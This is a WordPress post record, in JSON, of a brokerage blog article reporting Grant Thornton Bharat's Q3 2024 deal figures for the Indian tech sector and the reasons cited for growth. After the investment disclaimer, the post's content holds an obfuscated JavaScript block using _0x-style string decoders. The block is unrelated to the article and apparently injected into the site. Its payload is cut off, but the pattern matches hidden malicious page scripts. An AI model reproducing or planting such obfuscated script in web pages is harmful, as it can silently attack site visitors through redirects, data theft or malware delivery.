{"id":9277,"date":"2024-10-15T09:30:44","date_gmt":"2024-10-15T09:30:44","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=9277"},"modified":"2024-10-15T09:31:07","modified_gmt":"2024-10-15T09:31:07","slug":"indian-tech-sector-q3-deals","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/indian-tech-sector-q3-deals\/","title":{"rendered":"Indian Tech Sector Jumped 31% YoY with $635 Million Deals in Q3 2024"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/indian-tech-sector-q3-deals\/#Grant_Thornton_Bharats_Q3_Dealtracker_Report_%E2%80%93_Tech_Sector\" >Grant Thornton Bharat\u2019s Q3 Dealtracker Report \u2013 Tech Sector<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/indian-tech-sector-q3-deals\/#Factors_Driving_the_Jump_in_the_Tech_Sector\" >Factors Driving the Jump in the Tech Sector&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/indian-tech-sector-q3-deals\/#Wrapping_up\" >Wrapping up<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Indian Tech Sector Jumped 31% YoY with $635 Million Deals in Q3 2024<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the July &#8211; September 2024 quarter, the Indian tech sector witnessed a whopping rise in deals. It jumped by 31% year-on-year basis and the overall worth of the deals was around $635 million as per Grant Thornton&#8217;s report on the tech sector. While the value of deals witnessed a significant increase in the past quarters, but volume of deals had been the lowest in 2024, which reflects the inclination of the investors towards strategic investments instead of large-scale mergers and acquisitions.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-grant-thornton-bharat-s-q3-dealtracker-report-tech-sector\"><span class=\"ez-toc-section\" id=\"Grant_Thornton_Bharats_Q3_Dealtracker_Report_%E2%80%93_Tech_Sector\"><\/span><strong>Grant Thornton Bharat\u2019s Q3 Dealtracker Report \u2013 Tech Sector<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per Grant Thornton Bharat\u2019s Q3 Dealtracker report, the Indian tech sector cracked 79 deals in this July-September quarter of 2024 which is worth $635 million. While the value of deals has gone up a whopping 31% during the quarter, the volume increased by 5%. Out of the 79 deals, 12 deals were equal or above the value of $20 million.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Coming to the Mergers and Acquisitions, in this July \u2013 September quarter, there had been a rebound in these activities and there were 26 deals during the quarter, which depicts a 44% rise compared to the previous quarter. This has been a significant turnaround as in Q1 2024, the M&amp;A activities tanked significantly. The value of deals in this segment has gone up to a whopping $116 million, which is a 205% surge from Q2\u2019s deal value of $38 million.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, while the volume of M&amp;A increased by 53% YoY, the values of M$A tanked by a massive 89% in this quarter. This reflects the absence of major deals in the market or the big-ticket ones.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-factors-driving-the-jump-in-the-tech-sector-nbsp\"><span class=\"ez-toc-section\" id=\"Factors_Driving_the_Jump_in_the_Tech_Sector\"><\/span><strong>Factors Driving the Jump in the Tech Sector<\/strong>&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per the <strong>Grant Thornton report on the tech sector<\/strong> and its Partner Raja Lahiri\u2019s comments,<strong> <\/strong>the reasons behind the growth in the tech sector in the July-September quarter include \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The stability in the Indian government and economic measures after the Lok Sabha election<\/li>\n\n\n\n<li>The recent interest rate cut by the FED US has also influenced the growing demand for tech services from India which added to the value and volume of the tech deals.\u00a0<\/li>\n\n\n\n<li>Investors are positive about the economic growth in India, and overall \u2018India\u2019s growth story\u2019. India has been one of the most important economies where capital flow has been rising significantly.\u00a0<\/li>\n\n\n\n<li>Significant growth in the IPOs also added to the rise in the positive sentiments of the investors and opened multiple exit opportunities.\u00a0<\/li>\n\n\n\n<li>The exponential listing gains from successful IPOs, also made the investors have more disposable income, which is coming into the tech sector as fresh investments.\u00a0<\/li>\n\n\n\n<li>Finally, the favorable ecosystem for startups in the country is attracting more deals. The funding values increased by 40% YoY while the number of deals increased by 62% during the same period for the startups.\u00a0<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-wrapping-up\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The rising value and volume of deals in the <strong>Indian tech sector<\/strong> indicate investing opportunities however, you need to analyze the entire industry and specific companies in the sector before putting your money into it.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.ibef.org\/news\/indian-tech-sector-sees-deals-worth-us-635-million-in-the-third-quarter-grant-thorton-report#:~:text=Indian%20Economy%20News-,Indian%20tech%20sector%20sees%20deals%20worth%20US%24%20635%20million%20in,third%20quarter%3A%20Grant%20Thorton%20report&amp;text=The%20Indian%20tech%20sector%20saw,Bharat%27s%20third%2Dquarter%20Dealtracker%20report\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">IBEF<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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It jumped by 31% year-on-year basis and the overall worth of the deals was around $635 million as per Grant Thornton&#8217;s report on the tech sector. While the value of deals witnessed a significant increase in the past &hellip; <a href=\"https:\/\/shoonya.com\/blog\/indian-tech-sector-q3-deals\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Indian Tech Sector Jumped 31% YoY with $635 Million Deals in Q3 2024&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":9279,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5535,5536,5534,5533,3689],"class_list":["post-9277","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-grant-thornton-bharat","tag-grant-thorton-report-on-tech-sector","tag-indian-tech-sector","tag-indian-tech-sector-q3-deals","tag-mergers-and-acquisitions"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin 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